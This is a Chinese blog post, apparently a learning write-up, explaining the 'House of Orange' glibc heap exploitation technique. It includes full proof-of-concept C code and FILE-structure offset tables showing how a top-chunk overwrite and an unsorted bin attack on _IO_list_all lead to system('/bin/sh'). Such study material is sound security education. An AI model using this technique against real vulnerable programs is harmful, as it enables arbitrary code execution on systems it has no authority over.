House of Orange

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int winner ( char *ptr);
int main()
{
    char *p1, *p2;
    size_t io_list_all, *top;
    fprintf(stderr, "首先 malloc 一块 0x400 大小的 chunk\n");
    p1 = malloc(0x400-16);
    fprintf(stderr, "假设存在堆溢出,把 top chunk 的 size 给改为一个比较小的 0xc01\n");
    top = (size_t *) ( (char *) p1 + 0x400 - 16);
    top[1] = 0xc01;
    fprintf(stderr, "再去 malloc 一个挺大的 chunk 的时候,因为 top chunk 不够大所以会把现在的 top chunk 给 free 掉,我们称它为 old top chunk\n");
    p2 = malloc(0x1000);
    fprintf(stderr, "这时候 top[2] 跟 top[3] 是 unsortedbin 的地址了,然后 _IO_list_all 跟 unsortedbin 的偏移是 0x9a8,计算得到 _IO_list_all\n");
    io_list_all = top[2] + 0x9a8;
    fprintf(stderr, "设置 old top chunk 的 bk 指针为 io_list_all - 0x10 待会进行 unsortedbin attack,把 _IO_list_all 改为 unsortedbin 的地址\n");
    top[3] = io_list_all - 0x10;
    fprintf(stderr, "将字符串/bin/sh放到 old top chunk 的开头,并且把 size 改为 0x61,这里改为 0x61 是因为这个大小属于 smallbin[4],它与 unsortedbin 的偏移,跟 _chain 与 io_list_all 的偏移一样\n");
    memcpy( ( char *) top, "/bin/sh\x00", 8);
    top[1] = 0x61;
    _IO_FILE *fp = (_IO_FILE *) top;
    fprintf(stderr, "后面就是为了满足一些检查了,包括:fp->_mode = 0、_IO_write_base 小于 _IO_write_ptr\n");
    fp->_mode = 0;
    fp->_IO_write_base = (char *) 2;
    fp->_IO_write_ptr = (char *) 3;
    fprintf(stderr, "然后定位到 jump_table[3] 也就是 _IO_OVERFLOW 改为 system 函数的地址\n");
    size_t *jump_table = &top[12];
    jump_table[3] = (size_t) &winner;
    fprintf(stderr, "最后把 io_list_all 的 vatble 改为我们想让他找的那个 jump_table,然后去 malloc 一个触发就可以了\n");
    *(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table;
    malloc(10);
    return 0;
}

int winner(char *ptr)
{
    system(ptr);
    return 0;
}

一开始申请了一个 chunk,此时 top chunk 的 size 是 0x20c00

假设有个溢出的漏洞,可以把 top chunk 的 size 给修改掉,改成一个小的数

再去 malloc 一个比较大的数的时候,原本的 top chunk 不够分给它的,所以就会被放到 unsorted bin 中,可以看到 fd、bk 被改成了 unsorted bin 的地址

然后 unsorted bin 的地址跟 _IO_list_all 的地址偏移是 0x9a8,可以得到 _IO_list_all 的地址

修改掉 unsortedbin 的 bk 指针,等到 malloc 的时候利用 unsortedbin attack 把 _IO_list_all 改为 unsorted bin 的地址,然后把 old top chunk 写上 '/bin/sh' 并且去修改掉 old top chunk 的 size 为 0x61,为啥改为这个大小后面会说

然后对 old top chunk 进行修改去满足检查条件

fp->_mode = 0;
fp->_IO_write_base = (char *) 2;
fp->_IO_write_ptr = (char *) 3;

然后把 jump_table 指向 &top[12],再把 jump_table[3] 改为我们想要执行的那个函数的地址,然后让 vtable 指向 jump_table

size_t *jump_table = &top[12];
jump_table[3] = (size_t) &winner;
*(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table;

因为 unsorted bin 被改掉了当 malloc 的时候会出错,会依次调用 malloc_printerr、 __libc_message、abort()、_IO_flush_all_lockp(),在调用 _IO_flush_all_lockp() 的时候需要在 vtable 中找 _IO_OVERFLOW,而 _IO_OVERFLOW 我们已经覆盖掉为 winner 的地址了,而早在之前我们就把前面写上了 '/bin/sh' 这样就可以达到执行 system('/bin/sh') 了

害,其实就是这样的:通过 unsorted bin attack 把 _IO_list_all 改成 unsorted bin 的地址,然后因为我们把 old top chunk 的 size 改为了 0x61 属于 smallbin,恰好这个大小的 smallbin 相对 unsorted bin 的偏移与 _chain 相对 _IO_list_all 的偏移是一样的

(感觉不太准确,但大概是这么个意思)

而通过 unsorted bin attack 我们把 _IO_list_all 改成了 unsorted bin 的地址,这样 _chain 指向的就是 old top chunk 的地址了

我们的那些伪造的操作也是在 old top chunk 上做的,我对 how2heap 的代码做了点替换,对着下面的图片与偏移更容易理解是怎么伪造的

//fp->_mode = 0;
top[24] = 0;
//fp->_IO_write_base = (char *) 2;
top[4]=(char *)2;
//fp->_IO_write_ptr = (char *) 3;
top[5]=(char *)3;
//size_t *jump_table = &top[12];
//jump_table[3] = (size_t) &winner;
top[15]=(size_t) &winner;
//*(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table;
top[27]= (size_t) &top[12];

后面放一下偏移

0x0   _flags
0x8   _IO_read_ptr
0x10  _IO_read_end
0x18  _IO_read_base
0x20  _IO_write_base
0x28  _IO_write_ptr
0x30  _IO_write_end
0x38  _IO_buf_base
0x40  _IO_buf_end
0x48  _IO_save_base
0x50  _IO_backup_base
0x58  _IO_save_end
0x60  _markers
0x68  _chain
0x70  _fileno
0x74  _flags2
0x78  _old_offset
0x80  _cur_column
0x82  _vtable_offset
0x83  _shortbuf
0x88  _lock
0x90  _offset
0x98  _codecvt
0xa0  _wide_data
0xa8  _freeres_list
0xb0  _freeres_buf
0xb8  __pad5
0xc0  _mode
0xc4  _unused2
0xd8  vtable
IO_jump_t *vtable:
void * funcs[] = {
   1 NULL, // "extra word"
   2 NULL, // DUMMY
   3 exit, // finish
   4 NULL, // overflow
   5 NULL, // underflow
   6 NULL, // uflow
   7 NULL, // pbackfail
   8 NULL, // xsputn  #printf
   9 NULL, // xsgetn
   10 NULL, // seekoff
   11 NULL, // seekpos
   12 NULL, // setbuf
   13 NULL, // sync
   14 NULL, // doallocate
   15 NULL, // read
   16 NULL, // write
   17 NULL, // seek
   18 pwn,  // close
   19 NULL, // stat
   20 NULL, // showmanyc
   21 NULL, // imbue
};

参考:

https://bbs.pediy.com/thread-223334.htm

https://nightrainy.github.io/2020/02/02/how2heap%E6%80%BB%E7%BB%93%E8%AE%A1%E5%88%92%E4%B8%83/

本文分享自微信公众号 - 陈冠男的游戏人生(CGN-115),作者:yichen

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-11-18

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • PWN:House Of Einherjar

    参考:http://blog.topsec.com.cn/pwn的艺术浅谈(二):linux堆相关/

    yichen
  • PWN:House Of Force

    当我们去申请的时候,新的 top chunk 的地址 new_top 应该是 old_top + size(size 是 malloc 的 chunk 的大小加...

    yichen
  • how2heap学习(上)

    how2heap 是 shellphish 团队在 github 上面分享的用来学习各种堆利用手法的项目

    yichen
  • Python识别文字,实现看图说话

    现在写文件很多网站都不让复制了,所以每次都是截图然后发到QQ上然后用手机QQ的文字识别再发回电脑。感觉有点小麻烦了,所以想自己写一个小软件方便方便自己,就有了这...

    代码医生工作室
  • Redis 字典结构细谈

    说明:next 为指向下一个节点的指针,是我们熟悉的链表节点结构,单向链表,用于处理键哈希冲突问题。

    WindWant
  • Scalaz(41)- Free :IO Monad-Free特定版本的FP语法

    我们不断地重申FP强调代码无副作用,这样才能实现编程纯代码。像通过键盘显示器进行交流、读写文件、数据库等这些IO操作都会产生副作用。那么我们是不是为了实现纯...

    用户1150956
  • LeetCode 349. Intersection of Two Arrays题目代码代码

    样例 nums1 = [1, 2, 2, 1], nums2 = [2, 2], 返回 [2].

    desperate633
  • CVPR 2017精彩论文解读:显著降低模型训练成本的主动增量学习 | 分享总结

    计算机视觉盛会 CVPR 2017已经结束了,相信读者们对今年的 CVPR 有了一些直观的感受。 论文的故事还在继续 相对于 CVPR 2017收录的共78...

    AI研习社
  • 【一天一大 lee】两个数组的交集 (难度:简单) - Day20201102

    注意: 为了避免返回结果存在重复元素的问题,map中哈希均只能参与一次包含的判断,当map中哈希使用过就删除,避免后面相同元素同样能判断通过

    前端小书童
  • LeetCode 4. 寻找两个有序数组的中位数(二分查找,难)

    来源:力扣(LeetCode) 链接:https://leetcode-cn.com/problems/median-of-two-sorted-arrays...

    Michael阿明

扫码关注云+社区

领取腾讯云代金券